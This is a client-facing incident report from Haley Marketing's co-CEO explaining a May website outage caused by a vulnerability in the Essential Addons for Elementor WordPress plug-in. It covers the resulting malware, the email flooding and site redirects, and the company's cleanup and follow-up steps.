As you may be aware, Haley Marketing had an issue with our website hosting that has impacted our services over the past week.
On the plus side, at this point, every website we host has been scanned, plug-ins have been updated, and passwords have been changed. Since our career portal software does not run within WordPress, we can also assure you that no job data or candidate application data was ever at risk. During this event, our entire team was involved in remediation, and we were unable to provide more detail about what was happening, so I wanted to follow up with the details.
For the past several years, all websites we have built were developed in WordPress using a popular page builder called Elementor. To improve and extend the performance of Elementor, we used a well-vetted and supported 3rd party plug-in called Essential Addons for Elementor. This plug-in was used on more than 1 million websites worldwide.
Last week, on May 8, a security vulnerability was discovered in this plug-in; however, it was not reported to users of the plug-in, so we were unaware of the problem. On Thursday, May 11, a patch was released that resolved the security issue. For many of our clients, whose websites are set to automatically update plug-ins, this patch solved the potential issue, and there should have been nothing further to worry about.
However, on Friday, May 12, our website hosting partner, WP Engine, made the decision to limit their security risk by deactivating Elementor across all their clients’ websites. We were not notified that this would be happening. Deactivating Elementor broke every site that it was used on, but that did not cause an outage that our monitors could detect. At 6:13 pm ET Friday, one of our team members noticed issues with websites we host.
The team worked together to identify the cause of the problem and immediately contacted WPengine, and we were told that they would be restoring all the sites. When this did not immediately happen, our DevOps team wrote a script to restore Elementor on the sites we host. This script started running at 9:52 pm ET. This script did not complete running until 4:48 pm ET on Saturday. WPengine did apologize to us that they missed restoring the sites we host.
While the story should have ended there, we found that several of the sites we host had been infected with Malware due to the security vulnerability in Essential Addons for Elementor. The Malware attempted to reset all administrative passwords and sent several email notifications, flooding our SendGrid account. In turn, SendGrid shut down our email delivery service because of the unusually high volume of email. This caused legitimate notifications from websites to be delayed. This occurred at 4:42 pm ET on Saturday. We immediately contacted SendGrid, and our email delivery service was restored at 4:52 pm ET Saturday.
To reinstate the SendGrid account, several actions had to be taken including updating email API keys, which is a manual process and had to be done on all websites connected to our notifications email SendGrid account. All delayed email was delivered, and no notifications were lost in this process. In the process of restoring all our websites, we reset all the Admin passwords (2x) to ensure there would be no risk of a password having been compromised.
Sadly, this did not end here. All was quiet on Sunday and Monday, so we thought the problem was rectified. But then, on Tuesday, we had a few clients report that their websites were redirecting to unwanted sites when first-time visitors would try to access the site. Upon researching the cause of this anomaly, we discovered that bots had exploited the Elementor Essentials plug-in on some of the websites we host, and installed a script that caused the unwanted redirection. We had no way of knowing this happened until our clients reported the issue. If your website was one of the sites impacted, I sincerely apologize.
Given the severity of this issue to the clients affected, we got everyone on our team (with the appropriate technical skills) to start researching and identifying impacted sites, and we then cleaned the script off those sites. By Wednesday, we had scanned every client website and cleaned all the ones where we found issues. Because Malware like this is often good at hiding itself, we rescanned each site Thursday and today, Friday 5/19. We will continue to monitor sites over the weekend as well.
Our team will be completing a full postmortem review to determine what processes we need to update or change to better mitigate security vulnerabilities from 3rd party plug-ins in the future. We have also already invested an additional $10,000 in advanced security monitoring. We will also be reevaluating the use of automated plug-in updates across all sites.
We take security and uptime of our client sites very seriously. We update WordPress and plug-ins every Sunday for our clients. We monitor sites 24/7. And we have a 99.99% uptime. But even with all this effort, we were unable to be perfect.
While this was a very unfortunate and disruptive situation, for which we sincerely apologize, we are very grateful to have a Creative team who immediately noticed and escalated the problem, our Success team who assisted with client communication and testing throughout the process, and our DevOps team that is extremely proficient and who were able to identify the root cause of the problems that occurred, develop the scripts necessary to resolve the problems as quickly as possible. I am also very grateful for their dedication to work all weekend and evenings this past week to minimize disruption to our clients.
For additional information about the Essential Addons for Elementor plug-in security vulnerability and the impact across the internet, please refer to: https://www.bleepingcomputer.com/news/security/wordpress-elementor-plugin-bug-let-attackers-hijack-accounts-on-1m-sites/
David Searns
Co-CEO
Comments
0 comments
Article is closed for comments.